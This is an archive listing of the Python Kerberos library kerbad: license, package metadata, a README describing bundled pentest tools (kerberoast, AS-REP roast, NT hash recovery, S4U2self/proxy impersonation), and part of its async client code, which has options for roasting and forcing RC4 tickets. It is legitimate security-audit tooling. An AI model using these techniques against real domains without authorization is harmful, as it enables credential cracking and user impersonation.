././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1769847309.0 kerbad-0.5.10/0000777000175000000000000000000015137335015012130 5ustar00silverroot././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740832070.0 kerbad-0.5.10/LICENSE0000777000175000000000000000727514760576506013170 0ustar00silverrootMIT License Copyright (c) 2018 Tamas Jos (@skelsec) Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. PAC parsing code in /protocol/external/* is taken from Impacket. License as follows: --------- We provide this software under a slightly modified version of the Apache Software License. The only changes to the document were the replacement of "Apache" with "Impacket" and "Apache Software Foundation" with "Fortra". Feel free to compare the resulting document to the official Apache license. The `Apache Software License' is an Open Source Initiative Approved License. The Apache Software License, Version 1.1 Modifications by Fortra (see above) Copyright (c) 2000 The Apache Software Foundation. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. The end-user documentation included with the redistribution, if any, must include the following acknowledgment: "This product includes software developed by SecureAuth Corporation (https://www.secureauth.com/) and Fortra (https://www.fortra.com)." Alternately, this acknowledgment may appear in the software itself, if and wherever such third-party acknowledgments normally appear. 4. The names "Impacket", "SecureAuth Corporation", and "Fortra" must not be used to endorse or promote products derived from this software without prior written permission. For written permission, please reach out to https://www.coresecurity.com/about/contact. 5. Products derived from this software may not be called "Impacket", nor may "Impacket" appear in their name, without prior written permission of Fortra. THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740832070.0 kerbad-0.5.10/MANIFEST.in0000777000175000000000000000004214760576506013702 0ustar00silverrootinclude LICENSE include README.md ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1769847310.0 kerbad-0.5.10/PKG-INFO0000777000175000000000000000156515137335016013240 0ustar00silverrootMetadata-Version: 2.4 Name: kerbad Version: 0.5.10 Summary: Kerberos manipulation library in pure Python Home-page: https://github.com/CravateRouge/kerbad Author: Tamas Jos Author-email: info@skelsec.com Maintainer: Baptiste Crépin Maintainer-email: baptiste@cravaterouge.com Classifier: Programming Language :: Python :: 3.6 Classifier: License :: OSI Approved :: MIT License Classifier: Operating System :: OS Independent Requires-Python: >=3.6 License-File: LICENSE Requires-Dist: asn1crypto>=1.5.1 Requires-Dist: cryptography>=44.0.2 Requires-Dist: asysocks>=0.2.18 Requires-Dist: unicrypto>=0.0.12 Requires-Dist: tqdm Requires-Dist: six Requires-Dist: dnspython>=2.7.0 Dynamic: author Dynamic: author-email Dynamic: classifier Dynamic: home-page Dynamic: license-file Dynamic: maintainer Dynamic: maintainer-email Dynamic: requires-dist Dynamic: requires-python Dynamic: summary ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1756989582.0 kerbad-0.5.10/README.md0000777000175000000000000000635415056304216013421 0ustar00silverroot# kerbad `kerbad` is fork of `minikerberos` a kerberos client library written in `Python>=3.6`. It is the kerberos library used for `bloodyAD`. It also comes with multiple useful examples for pentesters who wish to perform security audits on the kerberos protocol. ## Installation Install it via either cloning it from GitHub and using ```bash $ git clone https://github.com/CravateRouge/kerbad.git $ cd kerbad $ python3 setup.py install ``` or with `pip` from the Python Package Index (PyPI). ```bash $ pip install kerbad --user ``` Consider to use a Python virtual environment. ## Information for developers `kerbad` library contains both asynchronous and blocking versions of the kerberos client with the same API. Besides the usual password/aes/rc4 LTK authentication methods it also supports PKINIT using `pfx` or `pem` formatted certificates as well as certificates stored in windows certificate store. ## Information for pentesters `kerbad` comes with examples which can be used to perform the usual pentest activities out-of-the-box without additional coding required. # Examples AKA the pentest tools Installing `kerbad` module via pip will automatically place all examples in the `Scripts` directory by the `setuptools` build environment. All tools named in the following way `bad` ## badTGT Fetches a TGT for the given kerberos credential. The kredential must be in a standard `kerberos URL` format. ## badTGS Fetches an TGS ticket (TGSREP) for the given cerberos credential and SPN record. SPN must be in `service/hostname@FQDN` format. ## badkerberoast Also known as SPNRoast, this tool performs a kerberoast attack against one or multiple users, using the provided kerberos credential. ## badNTPKInit This tool recovers the NT hash for the user specified by the kerberos credential. This only works if PKINIT (cert based auth) is used. ## badkerb23hashdecrypt This tool attempts to recover the user's NT hash for a list of kerberoast hashes. When you performed a kerberoast attack against one or multiple users, and have a huge list of NT hashes (no password needed) this tool will check each NT hash if it can decrypt the ticket in the kerberoasted hashes. Full disclosure, those are not hashes and it hurt me writing the previous sentence. ## badS4U2self This tool is used when you have credentials to a machine account and would like to impersonate other users on the same machine. Machine account credential should be supplied in the `kerberos URL` format, while the user to be impersonated should be in the usual UserPrincialName format eg `username@FQDN` ## badS4U2proxy This tool is used when you have a machine account which has the permission to perform Kerberos Resource-based Constrained Delegation (RBCD). With this, you can impersonate users. For this to work, the machine account must be allowed to delegate on all protocols, not kerberos-only! ## badccacheroast Performs "Kerberoast" attack on a CCACHE file. You get back the "hashes" for all TGS tickets stored in the CCACHE file. ## badccache2kirbi Converts a CCACHE file to a list of `.kirbi` files. ## badkirbi2ccache Converts one or more `.kirbi` files into one CCACHE file ## badccacheedit Command-line CCACHE file editor. It can list/delete credentials in a CCACHE file. ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1769847309.0 kerbad-0.5.10/kerbad/0000777000175000000000000000000015137335015013360 5ustar00silverroot././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1759080464.0 kerbad-0.5.10/kerbad/__init__.py0000777000175000000000000000124415066270020015470 0ustar00silverrootimport logging logger = logging.getLogger(__name__) def getLogger(): logger.propagate = False handler = logging.StreamHandler() class SymbolFormatter(logging.Formatter): LEVEL_SYMBOLS = { logging.DEBUG: '[*]', logging.INFO: '[+]', logging.WARNING: '[!]', logging.ERROR: '[-]', logging.CRITICAL: '[X]', } def format(self, record): symbol = self.LEVEL_SYMBOLS.get(record.levelno, '[?]') return f"{symbol} {record.getMessage()}" handler.setFormatter(SymbolFormatter()) logger.addHandler(handler) logger.setLevel(logging.INFO) return logger ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1769847068.0 kerbad-0.5.10/kerbad/_version.py0000777000175000000000000000030615137334434015564 0ustar00silverroot __version__ = "0.5.10" __banner__ = \ """ # kerbad %s # Author: Tamas Jos @skelsec (skelsecprojects@gmail.com) # Current Maintainer: Baptiste Crépin (baptiste@cravaterouge.com) """ % __version__ ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1765458935.0 kerbad-0.5.10/kerbad/aioclient.py0000777000175000000000000013504015116541767015721 0ustar00silverrootfrom __future__ import annotations from unicrypto import hashlib import collections import datetime import secrets import os import io import asyncio from typing import List from kerbad import logger from kerbad.common.ccache import CCACHE from kerbad.common.spn import KerberosSPN from kerbad.protocol.asn1_structs import METHOD_DATA, ETYPE_INFO, ETYPE_INFO2, \ PADATA_TYPE, PA_PAC_REQUEST, PA_ENC_TS_ENC, EncryptedData, krb5_pvno, KDC_REQ_BODY, \ AS_REQ, TGS_REP, KDCOptions, PrincipalName, EncASRepPart, EncTGSRepPart, PrincipalName, Realm, \ Checksum, APOptions, Authenticator, Ticket, AP_REQ, TGS_REQ, CKSUMTYPE, \ PA_FOR_USER_ENC, PA_PAC_OPTIONS, PA_PAC_OPTIONSTypes, EncTicketPart, \ ChangePasswdDataMS, EncryptionKey, EncKrbPrivPart, HostAddress, KRB_PRIV,\ AP_REP, KERB_KEY_LIST_REQ, S4UUserID, S4UUserIDOptions, PA_S4U_X509_USER,\ TransitedEncoding, TicketFlags from kerbad.protocol.rfc3244 import KRB5ChangePassword, KRB5CHPWReply, KRB5CHPWResultCode from kerbad.protocol.errors import KerberosErrorCode, KerberosError from kerbad.protocol.encryption import Key, _enctype_table, _HMACMD5, Enctype, _checksum_table from kerbad.protocol.constants import PaDataType, EncryptionType, NAME_TYPE, MESSAGE_TYPE from kerbad.protocol.structures import AuthenticatorChecksum from kerbad.gssapi.gssapi import GSSAPIFlags from kerbad.network.aioclientsocket import AIOKerberosClientSocket, AIOKerberosPWChangeClientSocket from kerbad.common.creds import KerberosCredential from kerbad.common.target import KerberosTarget from kerbad.protocol.rfc4556 import PKAuthenticator, AuthPack, PA_PK_AS_REP, KDCDHKeyInfo, PA_PK_AS_REQ from kerbad.gssapi.channelbindings import ChannelBindingsStruct from kerbad.protocol.ticketutils import construct_apreq_from_tgs_tgt from asn1crypto import cms from asn1crypto import core class AIOKerberosClient: def __init__(self, ccred:KerberosCredential, target:KerberosTarget): self.credential = ccred self.target = target self.ksoc = AIOKerberosClientSocket(self.target) self.ccache = CCACHE() if ccred is not None: self.ccache = CCACHE() if self.credential.ccache is None else self.credential.ccache self.pkinit_tkey = None self.kerberos_session_key = None self.kerberos_TGT = None self.kerberos_TGT_encpart = None self.kerberos_TGS = None self.kerberos_cipher = None self.kerberos_cipher_type = None self.kerberos_key = None self.server_salt = None self.server_supp_enc_methods = None self.clock_skew = None async def __aenter__(self): return self async def __aexit__(self, exc_type, exc, traceback): # there are no long-running resources to close return def _now(self): now = datetime.datetime.now(datetime.timezone.utc) if self.clock_skew is not None: logger.debug(f"Adjusting time with clock skew of {self.clock_skew}") return now + self.clock_skew return now def build_asreq_lts(self, supported_encryption_method, kdcopts:List[str] = ['forwardable','renewable','proxiable'], enctimestamp=None, newnow=None, no_preauth = False, kdc_req_body_extra = None, with_pac:bool = True) -> AS_REQ: logger.debug('Constructing TGT request with auth data') #now to create an AS_REQ with encrypted timestamp for authentication padatas = [] if with_pac is True: pa_data_1 = {} pa_data_1['padata-type'] = int(PADATA_TYPE('PA-PAC-REQUEST')) pa_data_1['padata-value'] = PA_PAC_REQUEST({'include-pac': True}).dump() padatas.append(pa_data_1) logger.debug('Selecting common encryption type: %s' % supported_encryption_method.name) now = self._now() if no_preauth is False: if enctimestamp is None: #creating timestamp asn1 timestamp = PA_ENC_TS_ENC({'patimestamp': now.replace(microsecond=0), 'pausec': now.microsecond}).dump() self.kerberos_cipher = _enctype_table[supported_encryption_method.value] self.kerberos_cipher_type = supported_encryption_method.value self.kerberos_key = Key(self.kerberos_cipher.enctype, self.credential.get_key_for_enctype(supported_encryption_method, salt = self.server_salt)) enc_timestamp = self.kerberos_cipher.encrypt(self.kerberos_key, 1, timestamp, None) else: now = newnow enc_timestamp = enctimestamp pa_data_2 = {} pa_data_2['padata-type'] = int(PADATA_TYPE('ENC-TIMESTAMP')) pa_data_2['padata-value'] = EncryptedData({'etype': supported_encryption_method.value, 'cipher': enc_timestamp}).dump() padatas.append(pa_data_2) kdc_req_body = {} kdc_req_body['kdc-options'] = KDCOptions(set(kdcopts)) kdc_req_body['cname'] = PrincipalName({'name-type': NAME_TYPE.PRINCIPAL.value, 'name-string': self.credential.username.split('/')}) kdc_req_body['realm'] = self.credential.domain.upper() kdc_req_body['sname'] = PrincipalName({'name-type': NAME_TYPE.PRINCIPAL.value, 'name-string': ['krbtgt', self.credential.domain.upper()]}) kdc_req_body['till'] = (now + datetime.timedelta(days=1)).replace(microsecond=0) kdc_req_body['rtime'] = (now + datetime.timedelta(days=1)).replace(microsecond=0) kdc_req_body['nonce'] = secrets.randbits(31) kdc_req_body['etype'] = self.credential.get_supported_enctypes() #gives all client supported etypes in case server does not support the selected one if kdc_req_body_extra is not None: for key in kdc_req_body_extra: kdc_req_body[key] = kdc_req_body_extra[key] kdc_req = {} kdc_req['pvno'] = krb5_pvno kdc_req['msg-type'] = MESSAGE_TYPE.KRB_AS_REQ.value kdc_req['padata'] = padatas kdc_req['req-body'] = KDC_REQ_BODY(kdc_req_body) return AS_REQ(kdc_req) def build_asreq_pkinit(self, supported_encryption_method, kdcopts = ['forwardable','renewable','renewable-ok'], with_pac:bool = True) -> AS_REQ: from asn1crypto import keys if supported_encryption_method.value == 23: raise Exception('RC4 encryption is not supported for certificate auth!') now = self._now() kdc_req_body_data = {} kdc_req_body_data['kdc-options'] = KDCOptions(set(kdcopts)) kdc_req_body_data['cname'] = PrincipalName({'name-type': NAME_TYPE.PRINCIPAL.value, 'name-string': self.credential.username.split('/')}) kdc_req_body_data['realm'] = self.credential.domain.upper() kdc_req_body_data['sname'] = PrincipalName({'name-type': NAME_TYPE.SRV_INST.value, 'name-string': ['krbtgt', self.credential.domain.upper()]}) kdc_req_body_data['till'] = (now + datetime.timedelta(days=1)).replace(microsecond=0) kdc_req_body_data['rtime'] = (now + datetime.timedelta(days=1)).replace(microsecond=0) kdc_req_body_data['nonce'] = secrets.randbits(31) kdc_req_body_data['etype'] = self.credential.get_supported_enctypes() #gives all client supported etypes in case server does not support the selected one kdc_req_body = KDC_REQ_BODY(kdc_req_body_data) checksum = hashlib.sha1(kdc_req_body.dump()).digest() authenticator = {} authenticator['cusec'] = now.microsecond authenticator['ctime'] = now.replace(microsecond=0) authenticator['nonce'] = secrets.randbits(31) authenticator['paChecksum'] = checksum dp = {} dp['p'] = self.credential.dhparams.p dp['g'] = self.credential.dhparams.g dp['q'] = 0 # mandatory parameter, but it is not needed pka = {} pka['algorithm'] = '1.2.840.10046.2.1' pka['parameters'] = keys.DomainParameters(dp) spki = {} spki['algorithm'] = keys.PublicKeyAlgorithm(pka) spki['public_key'] = self.credential.dhparams.get_public_key() authpack = {} authpack['pkAuthenticator'] = PKAuthenticator(authenticator) authpack['clientPublicValue'] = keys.PublicKeyInfo(spki) authpack['clientDHNonce'] = self.credential.dhparams.dh_nonce authpack = AuthPack(authpack) signed_authpack = self.credential.sign_authpack(authpack.dump(), wrap_signed = True) payload = PA_PK_AS_REQ() payload['signedAuthPack'] = signed_authpack padatas = [] if with_pac is True: pa_data_0 = {} pa_data_0['padata-type'] = int(PADATA_TYPE('PA-PAC-REQUEST')) pa_data_0['padata-value'] = PA_PAC_REQUEST({'include-pac': True}).dump() padatas.append(pa_data_0) pa_data_1 = {} pa_data_1['padata-type'] = PaDataType.PK_AS_REQ.value pa_data_1['padata-value'] = payload.dump() padatas.append(pa_data_1) asreq = {} asreq['pvno'] = 5 asreq['msg-type'] = 10 asreq['padata'] = padatas asreq['req-body'] = kdc_req_body return AS_REQ(asreq) async def do_preauth(self, supported_encryption_method, kdcopts = ['forwardable','renewable','renewable-ok'], with_pac:bool = True): if self.credential.certificate is not None: req = self.build_asreq_pkinit(supported_encryption_method, kdcopts, with_pac=with_pac) else: req = self.build_asreq_lts(supported_encryption_method, kdcopts, with_pac=with_pac) logger.debug('Sending TGT request to server') rep = await self.ksoc.sendrecv(req.dump()) if rep.name == 'KRB_ERROR': raise KerberosError(rep, 'Preauth failed!') return rep def tgt_from_ccache(self): try: if self.ccache is None: raise Exception('No CCACHE file found') tgt, keystruct, err = self.ccache.get_tgt(self.credential.username, self.credential.domain, self.credential.ccache_spn_strict_check) if err is not None: raise err self.kerberos_TGT = tgt self.kerberos_TGT_encpart = tgt['enc-part'] self.kerberos_session_key = Key(keystruct['keytype'], keystruct['keyvalue']) self.kerberos_cipher = _enctype_table[keystruct['keytype']] self.kerberos_cipher_type = keystruct['keytype'] return True, None except Exception as e: return None, e def select_preferred_encryption_method(self, rep): #now getting server's supported encryption methods self.server_supp_enc_methods = collections.OrderedDict() for enc_method in METHOD_DATA.load(rep['e-data']).native: data_type = PaDataType(enc_method['padata-type']) if data_type == PaDataType.ETYPE_INFO or data_type == PaDataType.ETYPE_INFO2: if data_type == PaDataType.ETYPE_INFO: enc_info_list = ETYPE_INFO.load(enc_method['padata-value']) elif data_type == PaDataType.ETYPE_INFO2: enc_info_list = ETYPE_INFO2.load(enc_method['padata-value']) for enc_info in enc_info_list.native: self.server_supp_enc_methods[EncryptionType(enc_info['etype'])] = enc_info['salt'] logger.debug('Server supports encryption type %s with salt %s' % (EncryptionType(enc_info['etype']).name, enc_info['salt'])) common_enctypes = self.credential.get_common_enctypes(self.server_supp_enc_methods) preferred_enc_type = self.credential.get_preferred_enctype(self.server_supp_enc_methods) if preferred_enc_type not in self.server_supp_enc_methods: raise Exception('Preferred enc type not in supported enctypes') salt = self.server_supp_enc_methods[preferred_enc_type] if salt is not None: salt = salt.encode() self.server_salt = salt #enc_info['salt'].encode() return preferred_enc_type, common_enctypes async def get_TGT(self, override_etype = None, decrypt_tgt = True, kdcopts = ['forwardable','renewable','proxiable'], override_sname:KerberosSPN = None, with_pac:bool = True): """ decrypt_tgt: used for asreproast attacks Steps performed: 1. Send encrypted timestamp or empty (if no pre-auth selected) AS_REQ with all the encryption types we support 2. Depending on the response (either error or AS_REP with TGT) returns the TGT (or fail miserably) 3. PROFIT """ #first, let's check if CCACHE has the correct ticket already _, err = self.tgt_from_ccache() if err is None: return if override_etype is None: supported_etypes = self.credential.get_supported_enctypes() else: if isinstance(override_etype, list) is False: override_etype = [override_etype] supported_etypes = override_etype if self.credential.nopreauth: logger.debug('Generating initial TGT without authentication data') now = self._now() kdc_req_body = {} kdc_req_body['kdc-options'] = KDCOptions(set(kdcopts)) kdc_req_body['cname'] = PrincipalName({'name-type': NAME_TYPE.PRINCIPAL.value, 'name-string': self.credential.username.split('/')}) kdc_req_body['realm'] = self.credential.domain.upper() if override_sname is None: kdc_req_body['sname'] = PrincipalName({'name-type': NAME_TYPE.PRINCIPAL.value, 'name-string': ['krbtgt', self.credential.domain.upper()]}) else: # if we want to directly kerberoast with no-preauth user kdc_req_body['sname'] = PrincipalName({'name-type': NAME_TYPE.SRV_INST.value, 'name-string': override_sname.get_principalname()}) kdc_req_body['till'] = (now + datetime.timedelta(days=1)).replace(microsecond=0) kdc_req_body['rtime'] = (now + datetime.timedelta(days=1)).replace(microsecond=0) kdc_req_body['nonce'] = secrets.randbits(31) kdc_req_body['etype'] = supported_etypes pa_data_1 = {} if with_pac is True: pa_data_1['padata-type'] = int(PADATA_TYPE('PA-PAC-REQUEST')) pa_data_1['padata-value'] = PA_PAC_REQUEST({'include-pac': True}).dump() kdc_req = {} kdc_req['pvno'] = krb5_pvno kdc_req['msg-type'] = MESSAGE_TYPE.KRB_AS_REQ.value if len(pa_data_1) > 0: kdc_req['padata'] = [pa_data_1] kdc_req['req-body'] = KDC_REQ_BODY(kdc_req_body) req = AS_REQ(kdc_req) logger.debug('Sending initial TGT to %s' % self.ksoc.get_addr_str()) rep = await self.ksoc.sendrecv(req.dump()) if rep.name == 'KRB_ERROR': raise KerberosError(rep) #user can do kerberos auth without preauthentication! rep = rep.native self.kerberos_TGT = rep #if we want to roast the asrep (tgt rep) part then we dont even have the proper keys to decrypt #so we just return, the asrep can be extracted from this object anyhow return rep logger.debug('Generating initial TGT with authentication data') preauth_rep = None # Try every supported encryption type until one works for etype_int in supported_etypes: etype = EncryptionType(etype_int) try: preauth_rep = await self.do_preauth(etype, with_pac=with_pac) break except KerberosError as e: if e.errorcode != KerberosErrorCode.KDC_ERR_ETYPE_NOTSUPP: raise e logger.debug('Failed to get TGT with etype %s' % etype.name) # If the server suggested encryption methods, we will use them if e.krb_err_msg.get('e-data'): srv_etype,default_supported_etypes = self.select_preferred_encryption_method(e.krb_err_msg) logger.debug('Trying with supported suggested etype %s' % srv_etype.name) preauth_rep = await self.do_preauth(srv_etype, with_pac=with_pac) break if etype_int == supported_etypes[-1]: raise e logger.debug('Got valid TGT response from server') rep = preauth_rep.native self.kerberos_TGT = rep if decrypt_tgt is False: return rep if self.credential.certificate is not None: self.kerberos_TGT_encpart, self.kerberos_session_key, self.kerberos_cipher = self.decrypt_asrep_cert(rep) self.kerberos_cipher_type = rep['enc-part']['etype'] self.ccache.add_tgt(self.kerberos_TGT, self.kerberos_TGT_encpart, override_pp = True) logger.debug('Got valid TGT') return else: cipherText = rep['enc-part']['cipher'] temp = self.kerberos_cipher.decrypt(self.kerberos_key, 3, cipherText) try: self.kerberos_TGT_encpart = EncASRepPart.load(temp).native except Exception as e: logger.debug('EncAsRepPart load failed, is this linux?') try: self.kerberos_TGT_encpart = EncTGSRepPart.load(temp).native except Exception as e: logger.error('Failed to load decrypted part of the reply!') raise e self.kerberos_cipher = _enctype_table[self.kerberos_TGT_encpart['key']['keytype']] self.kerberos_cipher_type = self.kerberos_TGT_encpart['key']['keytype'] self.kerberos_session_key = Key(self.kerberos_cipher.enctype, self.kerberos_TGT_encpart['key']['keyvalue']) self.ccache.add_tgt(self.kerberos_TGT, self.kerberos_TGT_encpart, override_pp = True) logger.debug('Got valid TGT') return def tgs_from_ccache(self, spn_user:KerberosSPN): try: if self.ccache is None: raise Exception('No CCACHE file found') tgs, keystruct, err = self.ccache.get_tgs(spn_user) if err is not None: raise err key = Key(keystruct['keytype'], keystruct['keyvalue']) # we must add the key back to the tgs keydata = EncryptionKey({'keytype': keystruct['keytype'], 'keyvalue': keystruct['keyvalue']}).dump() tgs['enc-part'] = EncryptedData({'etype': 0, 'cipher': keydata}) tgs = TGS_REP(tgs).native return tgs, tgs['enc-part'], key, None except Exception as e: return None, None, None, e async def get_TGS(self, spn_user:KerberosSPN, override_etype = None, is_linux = False, flags = ['forwardable','renewable','renewable_ok', 'canonicalize']): """ Requests a TGS ticket for the specified user. Returns the TGS ticket, end the decrpyted encTGSRepPart. spn_user: KerberosTarget: the service user you want to get TGS for. override_etype: None or list of etype values (int) Used mostly for kerberoasting, will override the AP_REQ supported etype values (which is derived from the TGT) to be able to recieve whatever tgs tiecket """ #first, let's check if CCACHE has the correct ticket already tgs, encTGSRepPart, key, err = self.tgs_from_ccache(spn_user) if err is None: return tgs, encTGSRepPart, key if self.kerberos_TGT is None: #let's check if CCACHE has a TGT for us _, err = self.tgt_from_ccache() if err is not None: raise Exception('No TGT found in CCACHE!') #nope, we need to contact the server logger.debug('Constructing TGS request for user %s' % spn_user.get_formatted_pname()) now = self._now() kdc_req_body = {} kdc_req_body['kdc-options'] = KDCOptions(set(flags)) kdc_req_body['realm'] = self.kerberos_TGT['ticket']['sname']['name-string'][1] kdc_req_body['sname'] = PrincipalName({'name-type': NAME_TYPE.SRV_INST.value, 'name-string': spn_user.get_principalname()}) kdc_req_body['till'] = (now + datetime.timedelta(days=1)).replace(microsecond=0) kdc_req_body['nonce'] = secrets.randbits(31) if override_etype: kdc_req_body['etype'] = override_etype else: if self.kerberos_cipher_type == -128: # we dunno how to do GSS api calls with -128 etype, # but we can request etype 23 here for which all is implemented kdc_req_body['etype'] = [23] else: kdc_req_body['etype'] = [self.kerberos_cipher_type, 23] authenticator_data = {} authenticator_data['authenticator-vno'] = krb5_pvno authenticator_data['crealm'] = Realm(self.kerberos_TGT['crealm']) authenticator_data['cname'] = self.kerberos_TGT['cname'] authenticator_data['cusec'] = now.microsecond authenticator_data['ctime'] = now.replace(microsecond=0) if is_linux: ac = AuthenticatorChecksum() ac.flags = 0 ac.channel_binding = b'\x00'*16 chksum = {} chksum['cksumtype'] = 0x8003 chksum['checksum'] = ac.to_bytes() authenticator_data['cksum'] = Checksum(chksum) authenticator_data['seq-number'] = 0 authenticator_data_enc = self.kerberos_cipher.encrypt(self.kerberos_session_key, 7, Authenticator(authenticator_data).dump(), None) ap_req = {} ap_req['pvno'] = krb5_pvno ap_req['msg-type'] = MESSAGE_TYPE.KRB_AP_REQ.value ap_req['ap-options'] = APOptions(set()) ap_req['ticket'] = Ticket(self.kerberos_TGT['ticket']) ap_req['authenticator'] = EncryptedData({'etype': self.kerberos_cipher_type, 'cipher': authenticator_data_enc}) pa_data_1 = {} pa_data_1['padata-type'] = PaDataType.TGS_REQ.value pa_data_1['padata-value'] = AP_REQ(ap_req).dump() kdc_req = {} kdc_req['pvno'] = krb5_pvno kdc_req['msg-type'] = MESSAGE_TYPE.KRB_TGS_REQ.value kdc_req['padata'] = [pa_data_1] kdc_req['req-body'] = KDC_REQ_BODY(kdc_req_body) req = TGS_REQ(kdc_req) logger.debug('Constructing TGS request to server') rep = await self.ksoc.sendrecv(req.dump()) if rep.name == 'KRB_ERROR': raise KerberosError(rep, 'get_TGS failed!') logger.debug('Got TGS reply, decrypting...') tgs = rep.native encTGSRepPart = EncTGSRepPart.load(self.kerberos_cipher.decrypt(self.kerberos_session_key, 8, tgs['enc-part']['cipher'])).native key = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) self.ccache.add_tgs(tgs, encTGSRepPart) logger.debug('Got valid TGS reply') self.kerberos_TGS = tgs return tgs, encTGSRepPart, key async def U2U(self, kdcopts = ['forwardable','renewable','canonicalize', 'enc-tkt-in-skey'], supp_enc_methods = [EncryptionType.DES_CBC_CRC,EncryptionType.DES_CBC_MD4,EncryptionType.DES_CBC_MD5,EncryptionType.DES3_CBC_SHA1,EncryptionType.ARCFOUR_HMAC_MD5,EncryptionType.AES256_CTS_HMAC_SHA1_96,EncryptionType.AES128_CTS_HMAC_SHA1_96]): if not self.kerberos_TGT: logger.debug('[U2U] TGT is not available! Fetching TGT...') await self.get_TGT() supp_enc = self.credential.get_preferred_enctype(supp_enc_methods) now = self._now() authenticator_data = {} authenticator_data['authenticator-vno'] = krb5_pvno authenticator_data['crealm'] = Realm(self.kerberos_TGT['crealm']) authenticator_data['cname'] = self.kerberos_TGT['cname'] authenticator_data['cusec'] = now.microsecond authenticator_data['ctime'] = now.replace(microsecond=0) authenticator_data_enc = self.kerberos_cipher.encrypt(self.kerberos_session_key, 7, Authenticator(authenticator_data).dump(), None) ap_req = {} ap_req['pvno'] = krb5_pvno ap_req['msg-type'] = MESSAGE_TYPE.KRB_AP_REQ.value ap_req['ap-options'] = APOptions(set()) ap_req['ticket'] = Ticket(self.kerberos_TGT['ticket']) ap_req['authenticator'] = EncryptedData({'etype': self.kerberos_cipher_type, 'cipher': authenticator_data_enc}) pa_data_auth = {} pa_data_auth['padata-type'] = PaDataType.TGS_REQ.value pa_data_auth['padata-value'] = AP_REQ(ap_req).dump() krb_tgs_body = {} krb_tgs_body['kdc-options'] = KDCOptions(set(kdcopts)) krb_tgs_body['sname'] = PrincipalName({'name-type': NAME_TYPE.PRINCIPAL.value, 'name-string': self.credential.username.split('/')}) krb_tgs_body['realm'] = self.credential.domain.upper() krb_tgs_body['till'] = (now + datetime.timedelta(days=1)).replace(microsecond=0) krb_tgs_body['nonce'] = secrets.randbits(31) krb_tgs_body['etype'] = [23] # dunno why it must be 23? krb_tgs_body['additional-tickets'] = [Ticket(self.kerberos_TGT['ticket'])] krb_tgs_req = {} krb_tgs_req['pvno'] = krb5_pvno krb_tgs_req['msg-type'] = MESSAGE_TYPE.KRB_TGS_REQ.value krb_tgs_req['padata'] = [pa_data_auth] #pa_for_user krb_tgs_req['req-body'] = KDC_REQ_BODY(krb_tgs_body) req = TGS_REQ(krb_tgs_req) logger.debug('[U2U] Sending request to server') reply = await self.ksoc.sendrecv(req.dump()) if reply.name == 'KRB_ERROR': emsg = '[U2U] failed!' if reply.native['error-code'] == 16: emsg = '[U2U] Failed to get U2U! Error code (16) indicates that delegation is not enabled for this account!' raise KerberosError(reply, emsg) logger.debug('[U2U] Got reply, decrypting...') tgs = reply.native cipher = _enctype_table[int(tgs['ticket']['enc-part']['etype'])] encticket = tgs['ticket']['enc-part']['cipher'] decdata = cipher.decrypt(self.kerberos_session_key, 2, encticket) decticket = EncTicketPart.load(decdata).native encTGSRepPart = EncTGSRepPart.load(self.kerberos_cipher.decrypt(self.kerberos_session_key, 8, tgs['enc-part']['cipher'])).native key = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) self.ccache.add_tgs(tgs, encTGSRepPart) logger.debug('[U2U] Got valid TGS reply') return tgs, encTGSRepPart, key, decticket #https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/6a8dfc0c-2d32-478a-929f-5f9b1b18a169 async def S4U2self(self, user_to_impersonate, spn_user = None, kdcopts = ['forwardable','renewable','canonicalize'], is_dmsa = False): """ user_to_impersonate : KerberosTarget class """ if not self.kerberos_TGT: logger.debug('[S4U2self] TGT is not available! Fetching TGT...') 